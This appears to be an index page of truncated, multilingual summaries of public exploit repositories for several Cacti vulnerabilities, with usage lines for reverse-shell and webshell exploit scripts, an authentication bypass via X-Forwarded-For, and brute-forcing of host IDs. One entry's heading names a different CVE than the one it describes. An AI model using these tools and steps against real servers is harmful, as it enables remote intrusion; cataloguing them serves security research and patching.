CVE-2022-46169-Cacti-1.2.22

CVE-2022-46169 このエクスプロイトは、@FredBrave による元のスクリプトを修正したバージョンであり、@arthurcortesr と @alv-david によって改変されました。 使用法/例 root@kitploit: python3 CVE-2022-46169.py -u http://XX.XX.XX.XX --LHOST XX.XX.XX.XX --LPORT XXXX --host-id X --local-id X 期待される結果 root@kitploit: Testing hostid=X, localdataid=XX... + Found...

CVE-2024-25641-RCE-Automated-Exploit-Cacti-1.2.26

CVE-2024-25641-RCE-Automated-Exploit-Cacti-1.2.26 CVE-2024-25641 的完全自动化利用工具。 当用户通过身份验证后，Cacti 1.2.26 容易受到任意文件写入漏洞的影响，该漏洞可通过“包导入”（Package Import）功能加以利用，允许拥有“导入模板”（Import Templates）权限的已认证用户在 Web 服务器上执行任意 PHP 代码（RCE）。 致谢此 PoC : https://github.com/Cacti/cacti/security/advisories/GHSA-7cmj-g5qc-pj88...

cacti-cve-2023-39361

Cacti ™ 从 develop 分支运行 Cacti 重要提示 当使用源码或直接从仓库下载代码时，如果您遇到任何关于数据库中缺少表或列的报错，务必运行数据库升级脚本。 数据库的变更会提交到 cacti.sql 文件中，该文件用于全新安装，同时也会提交到安装程序的数据库升级中，用于现有安装。由于在 develop 分支中版本号在发布前不会改变，这会导致数据库升级无法运行，因此务必使用数据库升级脚本强制当前版本，或更新数据库中的版本号。 从 Cacti 1.x 之前的版本升级 当 Cacti 在近 20 年前最初开发时，MySQL 还没有像现在这样成熟。当 The Cacti Group...

CVE-2025-22604-Cacti-RCE

CVE-2025-22604-Cacti-RCE...

CVE-2022-46169

CVE-2022-46169 针对 cacti 1.2.22 版本的漏洞利用程序，CVE-2022-46169 用法 root@kitploit: $ python3 cacti.py...

CVE-2023-39361

Cacti graphview.php SQLインジェクションによるRCE CVE-2023-39361 WHS 3期 - 남기찬7342 ChoDeokCheol 概要 Cacti 1.2.24サーバのgraphview.phpファイルのgrowrightpanetree関数に脆弱性が存在する。 actionパラメータをtreecontentに設定すると、ユーザー入力値であるrfilterパラメータが存在する。 rfilterパラメータはhtmlvalidatetreevars関数で検証されるが、その検証は単に有効な正規表現かどうか のみを検査する。...

CVE-2024-25641

CVE-2024-25641 Cacti 1.2.26 用 RCE このリポジトリは、Cacti 1.2.26 における CVE-2024-25641 の悪用プロセスを自動化します。 ユーザーが認証されている場合、「Package Import」機能を介して悪用可能な任意のファイル書き込みの脆弱性により、「Import Templates」権限を持つ認証ユーザーが Web サーバー上で任意の PHP コードを実行 RCE できるようになります。 オリジナルレポート:...

CVE-2022-46169

CVE-2022-46169 CVE-2022-46169 Cacti remoteagent.php 未授权命令注入漏洞。 认证绕过 添加 X-Forwarded-For 请求头即可绕过认证，注意其值并非固定值。 暴力枚举 使用 Burp Intruder 对 hostid 和 localdataids 的值进行模糊测试。 远程命令执行 命令注入点位于 pollerid 参数。 root@kitploit: GET...

CVE-2024-25641---Cacti

CVE-2024-25641---Cacti Exploit de Cacti...

CVE-2022-46196

CVE-2022-46196 描述 该 Python 代码利用 Cacti 1.2.22 及更早版本中存在的一个未经身份验证的命令注入漏洞。它使用 argparse 解析命令行参数，使用 requests 获取目标 Cacti 实例的 HTML 内容，并使用 BeautifulSoup 从 HTML 内容中提取 Cacti 的版本号。如果版本小于等于 1.2.22，代码将继续执行漏洞利用。 该漏洞利用涉及向 Cacti 实例的 remoteagent.php 文件发送一个有效载荷，该有效载荷是一条 Bash 命令，用于向指定的监听 IP 和端口打开反向 Shell。代码遍历一系列主机 I...

CVE-2025-24367

CVE-2025-24367 CVE-2025-24367 - Cacti 已验证图形模板远程代码执行...

CVE-2025-24367-Cacti-Exploit

CVE-2025-24367-WebShell Exploit 我为 CVE-2025-24367 编写了这个小型脚本——针对 Cacti 1.2.28 版本，该脚本利用 Cacti 的漏洞获取 webshell。 脚本使用方法： root@kitploit: python CVE-2025-24367-Exploit.py --url "http://webEjemplo.htb/cacti/" --user "usuario" --password "password" 连接成功后，将在参数 danshell.php?0= 中生成一个 webshell，您可以在其中执行命令，主要是...

CVE-2022-46169_poc

CVE-2022-46169 未经身份验证的远程代码执行 描述 认证绕过：对于大多数 Cacti 安装，基于主机名的授权检查未安全实现 命令注入：未净化的用户输入被传播到用于执行外部命令的字符串 演示 POC 安装 使用 go install root@kitploit: go install github.com/devAL3X/CVE-2022-46169poc 运行二进制文件： root@kitploit: CVE-2022-46169poc 手动构建 或者，你也可以手动构建二进制文件： 首先，确保你的机器上已安装 Go，并且设置了 $GOPATH 环境变量。 克隆仓库：...

SHELL-POC-CVE-2022-46169

SHELL-POC-CVE-2022-46169 CVE-2022-46169のbashによる概念実証。リバースシェルペイロードを送信します。 脆弱な環境を自分で構築するには、次のリポジトリを参照してください : https://github.com/m3ssap0/cacti-rce-cve-2022-46169-vulnerable-application. 使い方 : root@kitploit: ./poc.sh -i -p -u...

Cacti 1.2.24 - SQL Injection

Cacti is an open source operational monitoring and fault management framework. Affected versions are subject to a SQL injection discovered in graphview.php. Since guest users can access graphview.php without authentication by default, if guest users are being utilized in an enabled state, there...

Cacti v1.2.8 - Remote Code Execution

Cacti v1.2.8 is susceptible to remote code execution. This vulnerability could be exploited without authentication if "Guest Realtime Graphs" privileges are enabled. id: CVE-2020-8813 info: name: Cacti v1.2.8 - Remote Code Execution author: gy741 severity: high description: Cacti v1.2.8 is...

CVE-2026-39949

CVE-2026-39949: Ejecución remota de código autenticada en Cacti mediante inyección de variables de host Resumen Una vulnerabilidad de inyección de comandos del sistema operativo en Cacti ≤ 1.2.30 permite a cualquier usuario autenticado con privilegios de creación de plantillas de dispositivos y...

CVE-2023-39539-PoC

CVE-2023-39539-PoC Cacti 1.2.22におけるCVE-2023-39539のPoC...

CVE-2022-46169

CVE-2022-46169 CVE-2022-46169 Cacti remoteagent.php 認証なしコマンドインジェクション。 このスクリプトは CVE-2022-46169 の条件のみをチェックします。 Cacti とは？ Cacti は、ユーザーに堅牢で拡張可能な運用監視および障害管理フレームワークを提供するオープンソースプラットフォームです。影響を受けるバージョンでは、監視対象デバイスに対して特定のデータソースが選択されていた場合、認証されていないユーザーが Cacti が動作するサーバー上で任意のコードを実行できるコマンドインジェクションの脆弱性が存在します。...

CVE-2020-14295

CVE-2020-14295 Detalles de la vulnerabilidad - https://github.com/Cacti/cacti/issues/3622 Instalación pip3 install -r requirements.txt Uso root@kitploit: $ ./gimme-a-shell.py --help usage: gimme-a-shell.py -h -t Target -U Username -P Password -i Shell-IP -p Shell-Port optional arguments: -h, --he...